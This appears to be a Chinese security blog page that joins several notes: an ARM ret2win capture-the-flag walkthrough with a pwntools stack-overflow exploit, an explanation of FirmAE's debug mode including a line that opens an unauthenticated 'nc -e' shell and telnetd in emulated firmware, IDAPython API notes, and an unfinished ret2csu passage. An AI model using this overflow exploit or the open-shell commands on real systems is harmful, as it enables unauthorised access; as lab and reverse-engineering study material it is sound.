OneShell

I fight for a brighter tomorrow

0%

以函数pwnme为例:
函数初始化的时候会保存寄存器到栈上,可以看到ARM是支持将寄存器批量保存到栈上的。这个地方说明一点,PUSH和POP操作的寄存器列表中,无论寄存器是以什么顺序给定,都会先进行升序排序。PUSH序号大的寄存器,对应POP序号小的寄存器。
R11是通用寄存器,目前不知道有什么特殊性;LR(R14)是连接寄存器,用于保存函数返回地址。随后也是类似于X86/64,通过减SP的方式开辟函数栈帧。

1
2
3
.text:00010570 PUSH    {R11,LR}
.text:00010574 ADD R11, SP, #4
.text:00010578 SUB SP, SP, #0x20

函数调用:
调用子函数通过寄存器R0~R3进行传参,那么如果是有多余的参数呢,目前没有深究,估计剩下的参数就用栈来传参吧。

1
2
3
4
.text:00010580 MOV     R2, #0x20 ; ' ' ; n
.text:00010584 MOV R1, #0 ; c
.text:00010588 MOV R0, R3 ; s
.text:0001058C BL memset

函数结束:
在函数初始化的时候,我们可以看到将原本SP+4的值赋给R11(fp)。在函数结束的时候,直接从R11-4就恢复了SP,就类似于使用了R11作为中间寄存器保存原本栈SP的值。
最后会POP R11的值,以及将初始化时的连接寄存器LR值赋值给PC,从而达到函数执行完毕返回的过程。

1
2
.text:000105D0 SUB     SP, R11, #4
.text:000105D4 POP {R11,PC}

利用

缓冲区s起始地址为fp-24h,返回地址是保存在fp,那么输入0x24个字节就可以开始覆盖缓冲区大小。

1
2
3
4
5
6
7
8
9
10
11
12
int pwnme()
{
char s[36]; // [sp+0h] [bp-24h] BYREF

memset(s, 0, 0x20u);
puts("For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!");
puts("What could possibly go wrong?");
puts("You there, may I have your input please? And don't worry about null bytes, we're using read()!\n");
printf("> ");
read(0, s, 0x38u);
return puts("Thank you!");
}

那么直接覆盖到返回地址

1
2
rop = b"A" * 0x24
rop += p32(0x000105EC) #

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

BINARY = "./ret2win_armv5"
ELF = ELF(BINARY)

context.os = "linux"
context.arch = "arm"
context.binary = BINARY

p = remote("127.0.0.1", 8888)
rop = b"A" * 0x24
rop += p32(ELF.symbols["ret2win"])

p.recvuntil(b"> ")
p.sendline(rop)
print(p.recvline_contains(b"ROPE"))

调试功能简介

FirmAE相比FirmAdyne增加了一个新的启动选项,-d,可以为仿真系统开启一个调试功能,使用者可以连接到仿真系统中,开启shell、指令命令、启动gdbserver调试进程等等。通过阅读代码,调试功能的本质就是将一个自启动脚本塞入到固件文件系统中,仿真系统启动后使用nc和telnetd等待宿主机连接,其中的gdbserver、tcpdump、file transfer都是在宿主机连接上仿真系统后,发送命令到仿真系统执行的方式启动的。
这个功能还是非常人性化的。在真实设备上或许还可以通过硬件接口连接到bootloader获取shell来开启调试,FirmAE的调试模式可以极大帮助使用者对成功仿真的系统进行调试。

run.sh:启动脚本

首先,如果是在启动脚本中使用了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
elif [ ${OPTION} = "debug" ]; then
# ================================
# run debug mode.
# ================================
if ($PING_RESULT); then
echo -e "[\033[32m+\033[0m] Run debug!"
IP=`cat ${WORK_DIR}/ip`
./scratch/$IID/run_debug.sh &
check_network ${IP} true

sleep 10
./debug.py ${IID}

sync
kill $(ps aux | grep `get_qemu ${ARCH}` | awk '{print $2}') 2> /dev/null | true
sleep 2
else
echo -e "[\033[31m-\033[0m] Network unreachable"
fi

会在对应的固件目录(以$IID标识)中,后台运行run_debug.sh,等运行完毕后,使用debug.py去连接到仿真的系统中。

run_debug.sh:仿真系统中监听

run_debug.sh的主要作用就是将如下的脚本写入到仿真系统中,并在启动仿真后,执行如下的脚本。

1
2
3
4
5
echo "#!/firmadyne/sh" > ${WORK_DIR}/image/firmadyne/debug.sh
if (echo ${RUN_MODE} | grep -q "debug"); then
echo "while (true); do /firmadyne/busybox nc -lp 31337 -e /firmadyne/sh; done &" >> ${WORK_DIR}/image/firmadyne/debug.sh
echo "/firmadyne/busybox telnetd -p 31338 -l /firmadyne/sh" >> ${WORK_DIR}/image/firmadyne/debug.sh
fi

在run_debug.sh中,会在仿真系统的/firmadyne目录生成debug.sh,debug.sh即运行在仿真系统中。在debug.sh中,会使用nc去监听端口31337,并使用telnetd开启telnet到31338端口

debug.py:宿主机连接

在宿主机上是通过debug.py来显示调试界面,根据用户的输入来选择功能。代码比较简单,只有一个类firmae_helper:

  • connect方法:连接到仿真系统nc开启的端口31337
  • send和sendrecv:连接成功后,发送命令到仿真系统执行
  • initalize_telnet:发送命令到仿真系统执行,初始化telnet
  • connect_socat和connect_shell:分别通过nc和telnet连接到仿真系统中
  • tcpdump、file_transfer、run_gdbserver:通过发送命令的方式启动对应功能

整理到这儿,发现自己整理的顺序获取有点问题,应该是从粗粒度到细粒度这种自顶向下来进行整理,从段、函数、基本块、指令这样。
API速查如下:

模块 API 功能
idautils Functions() 获取所有函数起始地址集合
idc get_func_name(ea) 获取地址ea所在函数的函数名
idaapi get_func(ea) 获取地址ea所在的函数类
idc get_next_func(ea) 获取地址ea所在函数的下一个函数
idc get_prev_func(ea) 获取地址ea所在函数的上一个函数
idc get_func_attr(ea, attr) 获取地址ea所在函数的attr函数属性
idaapi get_arg_addrs(ea) 获取函数调用地址ea处,对传参进行操作的指令集合

函数基本操作和属性

在IDAPython中可以枚举所有的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import idautils
import idc

for func in idautils.Functions():
print("0x%x, %s" % (func, idc.get_func_name(func)))
'''
0x402b84, .init_proc
0x402c00, _ftext
0x402c60, sub_402C60
0x402d34, sub_402D34
0x402da0, main
0x4033a0, cgibin_reatwhite
0x403430, cgibin_verify_seamafile
0x403700, sub_403700
0x403894, sub_403894
0x403db0, cgibin_parse_request
0x404034, sub_404034
'''

idautils.Functions()会返回一个所有已知函数起始地址的列表,也可以通过idautils.Functions(start_addr, end_addr)来指定函数搜索的地址范围。idc.get_func_name(ea)则可以获取到函数名,ea可以是函数内的任一地址。
在IDAPython中,代表函数的数据结构可以使用idaapi.get_func(ea)来获得,ea是函数内的任一地址。此处依旧使得ea在cgibin的main函数中:

1
2
3
4
5
6
7
Python>func = idaapi.get_func(ea)
Python>type(func)
<class 'ida_funcs.func_t'>
Python>print("Start: 0x%x, End: 0x%x" % (func.start_ea, func.end_ea))
Start: 0x402da0, End: 0x403328
Python>dir(func)
['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__get_points__', '__get_referers__', '__get_regargs__', '__get_regvars__', '__get_tails__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__swig_destroy__', '__weakref__', '_print', 'analyzed_sp', 'argsize', 'clear', 'color', 'compare', 'contains', 'does_return', 'empty', 'endEA', 'end_ea', 'extend', 'flags', 'fpd', 'frame', 'frregs', 'frsize', 'intersect', 'is_far', 'need_prolog_analysis', 'overlaps', 'owner', 'pntqty', 'points', 'referers', 'refqty', 'regargqty', 'regargs', 'regvarqty', 'regvars', 'size', 'startEA', 'start_ea', 'tailqty', 'tails', 'this', 'thisown']

可以看到func是一个ida_funcs.func_t的类,可以进一步使用dir(fucn)查类中的成员。几个比较典型的成员(x86/64下没有测试过):

  • analyzed_sp():是否已经分析了SP(堆栈?)
  • does_return():是否有返回值
  • start_eaend_ea:函数的起始和结束地址
  • argsize:栈上保存的传参数量(MIPS下测试不准)
  • flags:函数标志
  • fpd:栈帧指针?
  • frregs:栈帧中存放的寄存器数量
  • frsize:栈帧中的局部变量
  • argsize:寄存器传参数量
  • referers:调用该函数的其他函数起始地址,列表
  • refqty:referer的数量(我测试了感觉不准啊,不是我想象中的引用数量)
  • regargqty:寄存器传参数量
  • regargs:寄存器传参列表
  • regvarqty:寄存器变量数量
  • regvars:寄存器变量列表

idc模块还提供了许多API用于对函数的相关属性进行查询

  • idc.get_next_func(ea)idc.get_prev_func(ea):获取当前函数的下/上一个函数,从地址空间上而言
  • idc.get_func_attr(ea, FUNCATTR_START)idc.get_func_attr(ea, FUNCATTR_END):获取函数的起始地址和结束地址

如下是一个遍历函数所有指令的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import idc

ea = 0x0040E71C
start = idc.get_func_attr(ea, idc.FUNCATTR_START)
end = idc.get_func_attr(ea, idc.FUNCATTR_END)

cur_addr = start
while cur_addr <= end:
print("0x%x %s" % (cur_addr, idc.generate_disasm_line(cur_addr, 0)))
cur_addr = idc.next_head(cur_addr, end)
'''
0x40e71c addiu $sp, -0x60
0x40e720 sw $ra, 0x3C+var_s20($sp)
0x40e724 sw $s7, 0x3C+var_s1C($sp)
0x40e728 sw $s6, 0x3C+var_s18($sp)
0x40e72c sw $s5, 0x3C+var_s14($sp)
0x40e730 sw $s4, 0x3C+var_s10($sp)
0x40e734 sw $s3, 0x3C+var_sC($sp)
0x40e738 sw $s2, 0x3C+var_s8($sp)
0x40e73c sw $s1, 0x3C+var_s4($sp)
0x40e740 sw $s0, 0x3C+var_s0($sp)
0x40e744 li $gp, 0x43F7F0
......
'''

idc.get_func_attr(ea, attr)还可以查询到函数的需要重要属性,如下(未列举全):

  • FUNC_NORET:函数无返回
  • FUNC_LIB:函数为库函数
  • FUNC_THUNK:thunk函数(未理解)

其实在idc模块中还有许多对函数的操作,可以参考官方文档idc模块

重要!获取函数传参

这个是第一次看到,IDAPython中具有获取函数传参相关的API。在之前,分析函数传参我是采用的先获取到架构的传参方式,例如MIPS传参通过a0~a3寄存器,通过jr等调用指令来调用函数。然后定位到jr指令基本块,并进行回溯,找到所有对寄存器的最近赋值操作,分析函数传参。IDAPython中有idaapi.get_arg_addrs(ea)可以获取到函数原型并判断传参。
分析一个简单的MIPS程序,反编译结果如下:

1
2
3
4
5
6
7
{
++v14;
v13 = sobj_get_length(v7);
sprintf(v25, "CONTENT-LENGTH: %d \r\n", v13);
v15 = a1;
v16 = v25;
}

汇编代码:在0x00405748处调用函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:0040572C move    $t9, $v1
.text:00405730 jalr $t9 ; sobj_get_length
.text:00405734 addiu $s6, 1
.text:00405738 move $a0, $s7 # s
.text:0040573C lw $gp, 0x78+var_68($sp)
.text:00405740 move $a1, $fp # format
.text:00405744 la $t9, sprintf
.text:00405748 jalr $t9 ; sprintf
.text:0040574C move $a2, $v0
.text:00405750 move $a0, $s0
.text:00405754 lw $gp, 0x78+var_68($sp)
.text:00405758 la $t9, strcat
.text:0040575C b loc_405794
.text:00405760 move $a1, $s7

IDAPython识别传参:可以识别到最近一次对寄存器a0a1的赋值操作,但是忽略了a2寄存器,因为a2是在指令延迟槽中。对于MIPS架构还是有点小瑕疵哈,但对x86/64这种应该识别率还是挺高的,毕竟反编译都能出来结果。

1
2
3
Python>ea = 0x00405748
Python>idaapi.get_arg_addrs(ea)
[0x405738, 0x405740]

指令粒度介绍完毕之后,该从基本块粒度进行说明了。所涉及到的API速查表格如下:

模块 API 功能
idaapi get_func(ea) 获取地址ea所在函数
idaapi FlowChart(f=None, bounds=None, flags=0) 获取函数f或者地址范围bounds的所有基本块集合

基本块简介

先简单说一下基本块的概念,基本块(Basic Block)是一段可以被顺序执行的指令集,一般被视为程序的基本组成单元。一个程序的控制流就是由基本块组成的有向图。在一个基本块的执行过程中,它通常是由前驱基本块(predecessor)执行到当前基本块,然后当前基本块执行完毕后到后继基本块(successor)。
因此,大概也可以知道基本块的重要组成了:

  1. 起始地址:基本块的第一条指令
  2. 结束地址:基本块的最后一条指令
  3. 指令集:基本块中所有的指令,也是要执行的指令集
  4. 转移指令:用于跳转到下一个基本块

基本块具有一个特性,那就是如果传递进行的寄存器值、使用到的内存值是一样的,那么在基本块执行完毕的寄存器集的值、内存值也是一样的。这个特性可以用于对基本块级别的仿真模拟,例如判断最后的跳转是否会被采纳。基本块在模糊测试中也被用于记录执行路径,例如AFL就是在基本块的起始地址进行了插桩,如果测试值使得基本块执行到了新的路径,那么就说明这个测试值潜力更大。
基本块的概念说完了,在IDA反汇编的Graph disassemble view中(空格切换,233)可以看到函数的基本块。如下就是在IDA中显示的两个基本块:
undifined
这两个基本块的作用是通过strcmp函数判断传入到cgibin的环境变量,选择使用哪一个接口函数来处理数据。
基本块1:调用phpcgi

1
2
3
4
5
6
7
8
9
10
11
.text:00402E1C
.text:00402E1C loc_402E1C:
.text:00402E1C la $t9, strcmp
.text:00402E20 move $a0, $s0 # s1
.text:00402E24 sw $a2, 0x20+var_8($sp)
.text:00402E28 jalr $t9 ; strcmp
.text:00402E2C li $a1, aPhpcgi # "phpcgi"
.text:00402E30 lw $gp, 0x20+var_10($sp)
.text:00402E34 lw $a2, 0x20+var_8($sp)
.text:00402E38 bnez $v0, loc_402E4C
.text:00402E3C lui $a1, 0x42 # 'B'

基本块2:调用dlapn.cgi

1
2
3
4
5
6
7
8
9
10
11
.text:00402E4C
.text:00402E4C loc_402E4C:
.text:00402E4C la $t9, strcmp
.text:00402E50 move $a0, $s0 # s1
.text:00402E54 sw $a2, 0x20+var_8($sp)
.text:00402E58 jalr $t9 ; strcmp
.text:00402E5C li $a1, aDlapnCgi # "dlapn.cgi"
.text:00402E60 lw $gp, 0x20+var_10($sp)
.text:00402E64 lw $a2, 0x20+var_8($sp)
.text:00402E68 bnez $v0, loc_402E7C
.text:00402E6C lui $a1, 0x42 # 'B'

基本块操作

在IDAPython中,对基本块的操作通常是先根据一个指令地址得到指令所在的函数,然后获取到函数由基本块组成的控制流图,再遍历图中的所有基本块。如果要知道目标指令是在函数的哪一个基本块,遍历基本块然后判断。
如下的代码是遍历地址ea所在函数的所有基本块,然后判断ea在哪一个基本块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import idaapi
import ida_gdl

ea = 0x00402E4C
func = idaapi.get_func(ea)
func_control_flow = idaapi.FlowChart(func, flags=idaapi.FC_PREDS)

for basic_block in func_control_flow:
print("ID: %i, Start: 0x%x, End: 0x%x" % (basic_block.id, basic_block.start_ea, basic_block.end_ea))
if basic_block.start_ea <= ea < basic_block.end_ea:
print(" ea at Here")
break
succs_blocks = basic_block.succs()
for addr in succs_blocks:
print(" Successor: 0x%x" % addr.start_ea)
pre_sblocks = basic_block.preds()
for addr in pre_sblocks:
print(" Predecessor: 0x%x" % addr.end_ea)
if ida_gdl.is_ret_block(basic_block.type):
print(" Return Block")
'''
ID: 0, Start: 0x402da0, End: 0x402e10
Successor: 0x402e10
Successor: 0x402e1c
ID: 1, Start: 0x402e10, End: 0x402e1c
Successor: 0x4032e0
Predecessor: 0x402e10
ID: 2, Start: 0x402e1c, End: 0x402e40
Successor: 0x402e40
Successor: 0x402e4c
Predecessor: 0x402e10
ID: 3, Start: 0x402e40, End: 0x402e4c
Successor: 0x4032e0
Predecessor: 0x402e40
ID: 4, Start: 0x402e4c, End: 0x402e70
ea at Here
'''

我之前写过一个判断MIPS命令注入的代码,大概就是,先定位对system代码作为ea,然后获取到ea所在的基本块,再通过广度优先搜索得到基本块的所有前驱,直到在前驱基本块中得到所有的参数(MIPS是通过a0a1a2a3寄存器进行传参),后续看能不能把代码整理出来。
调用idaapi.FlowChart()实际上是调用的ida_gdl.FlowChart(f=None, bounds=None, flags=0),传参如下:

  • f:通过get_func(ea)获取
  • bounds:如果f参数不指定则在bounds tuple类型(start, end)范围获取基本块集合
  • flagsFC_XXX标准位,具体可以在此处查询
    对于每一个基本块,都有如下的一些属性:
  • id:基本块的ID
  • start_ea:基本块的起始地址
  • end_ea:基本块的结束地址
  • type:基本块类型,如下依次数值从0~7
    • fcb_normal:正常的基本块
    • fcb_indjump:基本块以间接跳转结束
    • fcb_ret:返回基本块,估计是函数ret结束时的基本块
    • fcb_cndret:条件返回的基本块
    • fcb_noret:基本块不返回
    • fcb_enoret:不属于函数的基本块,且不返回
    • fcb_extern:外部的基本块(没有理解到含义)
    • fcb_error:跳过不执行的基本块(不知道是否这样)
  • preds():获取当前基本块的所有前驱基本块集合
  • succs():获取当前基本块的所有后继基本块集合

使用IDAPython进行指令粒度的操作,其实主要就是关注如下几点:

  1. 如何从函数地址获取到指令
  2. 对指令进行分析:包括指令、操作数,其中又包含指令类型、操作数类型、操作数值

所使用到的API速查:

模块 API原型 功能说明
idautils FuncItems(ea) 获取地址ea所在函数的所有指令集合
idc GetDisasm(ea) 获取地址ea所在指令的反汇编(返回字符串)
idc next_head(ea) 获取地址ea的下一条指令的地址
idc prev_head(ea) 获取地址ea的上一条指令的地址
idc next_addr(ea) 地址ea+1
idc prev_addr(ea) 地址ea-1
idc print_insn_mnem(ea) 获取地址ea所在指令的助记符(返回字符串)
idc print_operand(ea, n) 获取地址ea所在指令的第n个操作数(从0开始,返回字符串)
idc get_operand_type(ea, n) 获取地址ea所在指令的第n个操作数的类型
idc get_operand_value(ea, n) 获取地址ea所在指令的第n个操作数的值

指令(construction)

可以使用idautils.FuncItems(ea)来获取到当前地址ea所在函数的所有指令集合。如下,同时,可以使用idc.GetDisasm(ea)来获取到指令的反汇编。演示所用到的程序是cgibin,在main函数处。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import idautils
import idc

dism_items = idautils.FuncItems(here())
for item in dism_items:
print(hex(item), idc.GetDisasm(item))

'''
Python>
0x402da0 addiu $sp, -0x30
0x402da4 sw $ra, 0x20+var_sC($sp)
0x402da8 sw $s2, 0x20+var_s8($sp)
0x402dac sw $s1, 0x20+var_s4($sp)
0x402db0 sw $s0, 0x20+var_s0($sp)
0x402db4 li $gp, 0x43F7F0
0x402dbc sw $gp, 0x20+var_10($sp)
0x402dc0 move $s1, $a1
0x402dc4 la $t9, strrchr
...
'''

idautils.FuncItems(ea)会获取ea地址所在函数的所有指令的地址,返回一个迭代器。idc.GetDiasm(ea)则是在第一小节的时候出现过用来打印指令的反汇编结果。
如果是要获取到当前指令ea的上一条指令的地址和下一条指令的地址,分别使用idc.next_headidc.prev_head,当然这只是从代码段的地址顺序遍历指令,不会因为当前指令是某个跳转则遍历到跳转后的指令。这两条指令可以应用在遍历某一段地址的指令上。

1
2
3
4
5
6
7
Python>ea = here()
Python>print(hex(ea))
0x402da0
Python>idc.next_head(ea)
0x402da4
Python>idc.prev_head(ea)
0x402d9c

需要和这两个API进行区分:idc.next_addridc.prev_addr,这两条指令只会机械增加和减小地址:

1
2
3
4
5
6
7
Python>ea = here()
Python>print(hex(ea))
0x402da0
Python>idc.next_addr(ea) # 增加1
0x402da1
Python>idc.prev_addr(ea) # 减小1
0x402d9f

操作数(Operands)

操作数的打印如下,主要就是可以将一条指令分解为助记符、操作数1、操作数2等,但是都是以字符串的形式进行打印。

1
2
3
4
5
6
7
8
Python>idc.GetDisasm(ea)         # 单条汇编指令
'addiu $sp, -0x30'
Python>idc.print_insn_mnem(ea)。 # 打印助记符
'addiu'
Python>idc.print_operand(ea, 0) # 打印第一个操作数
'$sp'
Python>idc.print_operand(ea, 1)。# 打印第二个操作数
'-0x30'

操作数类型(operand type)

有时候需要对指令的操作数类型进行判断,例如某个命令执行函数通过寄存器传参,传入的是一个立即数(命令字符串地址)还是某个内存(函数栈变量)呢。使用idc.get_operand_type(ea, n)可以对操作数的类型进行判断,其中ea是当前指令地址,n是第n+1个操作数,例如n=0为第一个操作数。
操作数的类型如下,好气,居然没有MIPS的,实际测试也发现MIPS架构判断操作数类型不可用,如果要判断操作数类型就只能使用idc.print_operand来进行字符串的比较:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
o_void     = ida_ua.o_void      # No Operand                           ----------
o_reg = ida_ua.o_reg # General Register (al,ax,es,ds...) reg
o_mem = ida_ua.o_mem # Direct Memory Reference (DATA) addr
o_phrase = ida_ua.o_phrase # Memory Ref [Base Reg + Index Reg] phrase
o_displ = ida_ua.o_displ # Memory Reg [Base Reg + Index Reg + Displacement] phrase+addr
o_imm = ida_ua.o_imm # Immediate Value value
o_far = ida_ua.o_far # Immediate Far Address (CODE) addr
o_near = ida_ua.o_near # Immediate Near Address (CODE) addr
o_idpspec0 = ida_ua.o_idpspec0 # Processor specific type
o_idpspec1 = ida_ua.o_idpspec1 # Processor specific type
o_idpspec2 = ida_ua.o_idpspec2 # Processor specific type
o_idpspec3 = ida_ua.o_idpspec3 # Processor specific type
o_idpspec4 = ida_ua.o_idpspec4 # Processor specific type
o_idpspec5 = ida_ua.o_idpspec5 # Processor specific type

# x86
o_trreg = ida_ua.o_idpspec0 # trace register
o_dbreg = ida_ua.o_idpspec1 # debug register
o_crreg = ida_ua.o_idpspec2 # control register
o_fpreg = ida_ua.o_idpspec3 # floating point register
o_mmxreg = ida_ua.o_idpspec4 # mmx register
o_xmmreg = ida_ua.o_idpspec5 # xmm register

# arm
o_reglist = ida_ua.o_idpspec1 # Register list (for LDM/STM)
o_creglist = ida_ua.o_idpspec2 # Coprocessor register list (for CDP)
o_creg = ida_ua.o_idpspec3 # Coprocessor register (for LDC/STC)
o_fpreglist = ida_ua.o_idpspec4 # Floating point register list
o_text = ida_ua.o_idpspec5 # Arbitrary text stored in the operand
o_cond = (ida_ua.o_idpspec5+1) # ARM condition as an operand

# ppc
o_spr = ida_ua.o_idpspec0 # Special purpose register
o_twofpr = ida_ua.o_idpspec1 # Two FPRs
o_shmbme = ida_ua.o_idpspec2 # SH & MB & ME
o_crf = ida_ua.o_idpspec3 # crfield x.reg
o_crb = ida_ua.o_idpspec4 # crbit x.reg
o_dcr = ida_ua.o_idpspec5 # Device control register

操作数值(operand value)

获取到了操作数的类型还不够,例如不仅需要知道某条指令的第一个操作数是寄存器,还需要知道寄存器编号。使用idc.get_operand_value(ea, n)可以获取到地址ea处指令的第n+1个操作数的值。该API是在ida_ua基础上进行封装的,代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
def get_operand_value(ea, n):
"""
Get number used in the operand

This function returns an immediate number used in the operand

@param ea: linear address of instruction
@param n: the operand number

@return: value
operand is an immediate value => immediate value
operand has a displacement => displacement
operand is a direct memory ref => memory address
operand is a register => register number
operand is a register phrase => phrase number
otherwise => -1
"""
insn = ida_ua.insn_t()
inslen = ida_ua.decode_insn(insn, ea)
if inslen == 0:
return -1
op = insn.ops[n]
if not op:
return -1

if op.type in [ ida_ua.o_mem, ida_ua.o_far, ida_ua.o_near, ida_ua.o_displ ]:
value = op.addr
elif op.type == ida_ua.o_reg:
value = op.reg
elif op.type == ida_ua.o_imm:
value = op.value
elif op.type == ida_ua.o_phrase:
value = op.phrase
else:
value = -1
return value

可以看到函数注释中的返回值类型和结果:

  • 操作数是立即数:返回立即数
  • 操作数是displacement:(俺不晓得)
  • 操作数是直接内存引用:内存地址
  • 操作数是寄存器:寄存器编号
  • 操作数是register phrase:(俺不晓得)

指令分析示例

那没办法,随便找了一个ARM架构为例,如下,该指令的第一个操作数和第二个操作数类型都是寄存器:

1
2
3
4
5
6
7
8
9
10
11
Python>ea = idc.here()
Python>idc.GetDisasm(ea) # 反编译指令
'MOV R4, R0'
Python>idc.get_operand_type(ea, 0) # 第一个操作数类型:寄存器
0x1
Python>idc.get_operand_value(ea, 0) # 第一个操作数值:寄存器编号4->R4
0x4
Python>idc.get_operand_type(ea, 1) # 第二个操作数类型:寄存器
0x1
Python>idc.get_operand_value(ea, 1) # 第二个操作数值:寄存器编号0->R0
0x0

同样,对一个LDR指令进行分析:

1
2
3
4
5
6
7
8
9
10
11
Python>ea = idc.here()
Python>idc.GetDisasm(ea)
'LDR R3, =aTagSIsEmpty; "tag %s is empty\\n"'
Python>idc.get_operand_type(ea, 0) # 第一个操作数类型:寄存器
0x1
Python>idc.get_operand_value(ea, 0) # 第一个操作数值:寄存器编号3->R3
0x3
Python>idc.get_operand_type(ea, 1) # 第二个操作数类型:直接内存引用
0x2
Python>idc.get_operand_value(ea, 1) # 第二个操作数值:内存的地址0x12a8ac
0x12a8ac

跳转到地址0x12a8ac,此处的确存储的是字符串的地址。

1
2
.text:0012A8AC off_12A8AC      DCD aTagSIsEmpty        ; DATA XREF: sub_12A774+C8↑r
.text:0012A8AC ; "tag %s is empty\n"

对一个跳转指令BL进行分析:

1
2
3
4
5
6
7
Python>ea = idc.here()
Python>idc.GetDisasm(ea)
'BL ProcUserLog'
Python>idc.get_operand_type(ea, 0)
0x7
Python>idc.get_operand_value(ea, 0)
0x41e2c

其中,地址0x41e2位于plt中:

1
2
3
4
5
6
7
8
9
10
.plt:00041E2C
.plt:00041E2C
.plt:00041E2C ; Attributes: thunk
.plt:00041E2C
.plt:00041E2C ProcUserLog
.plt:00041E2C ADR R12, 0x141E34
.plt:00041E30 ADD R12, R12, #0x41000
.plt:00041E34 LDR PC, [R12,#(ProcUserLog_ptr - 0x182E34)]! ; __imp_ProcUserLog
.plt:00041E34 ; End of function ProcUserLog
.plt:00041E34

简单说明了IDA的反汇编输出窗口内容、如何使用IDAPython对单条指令进行简单分析。后续的笔记将先分别从段(segment)、函数(function)、块(block)、指令(instruction)多个粒度,对IDAPython经常使用到的数据结构和函数API进行说明,然后再到分析必不可少的交叉引用(cross-references)和数据搜索(searching for code or data)。

segment的基本操作

如下是对段(segments)进行一些基本的操作。idautils.Segments()会返回一个迭代器,可以使用循环遍历当前文件的所有段对象。对于每一个段对象可以使用idc.get_segm_name获取段名、idc.get_segm_start获取段起始地址、idc.get_segm_end获取段的结束地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import idautils
for seg in idautils.Segments():
print(idc.get_segm_name(seg), idc.get_segm_start(seg), idc.get_segm_end(seg))

'''
LOAD 4194304 4194568
REGINFO 4194568 4194592
LOAD 4194592 4216248
.init 4216248 4216384
.text 4216384 4649072
.MIPS.stubs 4649072 4651008
.fini 4651008 4651096
LOAD 4651096 4651104
......
'''

在实际的代码中,有时候需要对当前地址ea所在的段进行分析。idc.get_segm_start(ea)idc.get_segm_end(ea)分别可以获取到地址ea所在的段的起始地址和结束地址;idc.get_next_seg(ea)可以获取到ea所在段的下一个段起始地址,然后没有找到对应的寻找上一个段起始地址的API。使用idc.get_segm_name(ea)则可以获取到当前地址ea所在段的段名。如下:

1
2
3
4
5
6
7
8
9
10
11
Python>ea = idc.here()
Python>idc.get_segm_start(ea)
0x400120
Python>idc.get_segm_end(ea)
0x46f8f8
Python>idc.get_next_seg(ea)
0x46f8f8
Python>idc.get_segm_name(ea)
'.text'
Python>idc.get_segm_name(0x46f8f8)
'.fini'

同样的,也可以根据段名来获取到段相关属性:idc.get_segm_by_sel(idc.selector_by_name(str_SectionName))。需要首先使用idc.selector_by_name(str_SectionName)获取到段名为str_SectionName的段选择器(selector),然后使用idc.get_segm_by_sel()来获取到段的起始地址。如下:

1
2
3
Python>str_SectionName = ".text"
Python>idc.get_segm_by_sel(idc.selector_by_name(str_SectionName))
0x400120

idc模块中常用的段操作函数

api 作用
get_segm_attr(segea, attr) 根据段中的地址segea获取段的attr属性
get_segm_start(ea) 获取段起始地址
get_segm_end(ea) 获取段结束地址
get_segm_name(ea) 获取段名

包含更多段操作的模块:ida_segment

idc模块中对段的操作实际上是对ida_segment模块中函数的封装,在ida_segment模块中还有更多段的数据结构和方法,例如:

  • 新增段:add_segm
  • 删除段:del_segm
  • 根据段名获取段:get_segm_by_name
  • 根据当前地址获取段名:get_segm_name
  • 设置段名:set_segm_name
  • 设置段的起始地址:set_segm_startset_segm_end
  • ……

参考链接

我打算整理和总结一下IDAPython相关的笔记,由于使用的场景大多是在IoT领域,此处和后续的笔记采用了dir-850l固件中的cgibin(漏洞多)来作为演示。个人笔记,也不讲究通用性了,如果能被其他人作为有用参考就用叭。

在学习IDAPython之初,需要了解一下IDA反汇编窗口输出的内容和结构。
以IDA反汇编窗口中的一条指令为例,如下的sw存储指令(最近在看MIPS),如下指令功能是将寄存器ra中的值保存到栈上:

1
.text:00429000 sw      $ra, 0x418+var_s10($sp)

其中,.text是section名,也就是text节;00429000是地址,IDA中会省略掉前缀0x;sw是指令助记符,随后是第一个操作数ra和第二个操作数0x418+var_s10($sp)
在IDAPython中,指令地址是经常被传入到API函数中进行处理的参数,API描述中使用ea表示,如下:

1
2
3
4
5
idc.get_segm_name(ea)        # 获取当前光标所在指令的地址
idc.GetDisasm(ea) # 获取反汇编指令
idc.print_insn_mnem(ea) # 打印指令助记符
idc.print_operand(ea, 0) # 打印第一个操作数
idc.print_operand(ea, 1) # 打印第二个操作数

IDAPython使用得比较频繁的一个操作就是获取到反汇编窗口光标所在的行的地址,可以使用idc.get_screen_ea()来获取,也可以直接使用here()获取。但如果在IDAPython脚本中不能直接使用here(),必须保证import idc,然后使用idc.here()
对于初学者使用IDAPython最简单的方式就是在IDA最下方的命令行中直接进行操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
Python>ea = idc.here()
Python>print("0x%x, %s" % (ea, ea))
0x40012c, 4194604
Python>idc.get_segm_name(ea)
'.text'
Python>idc.GetDisasm(ea)
'li $gp, 0x492900'
Python>idc.print_insn_mnem(ea)
'li'
Python>idc.print_operand(ea, 0)
'$gp'
Python>idc.print_operand(ea, 1)
'0x492900'

对于指令的操作数的类型和值,具体还可以使用idc.get_operand_type()idc.get_operand_value()来获得,这将在后续的笔记中进行简单说明。

ret2csu就是使用_libc_csu_init中的代码片段来达到调用任意三个(及以下)函数的ROP作用。此处查看_libc_csu_init函数中的两段代码片段:
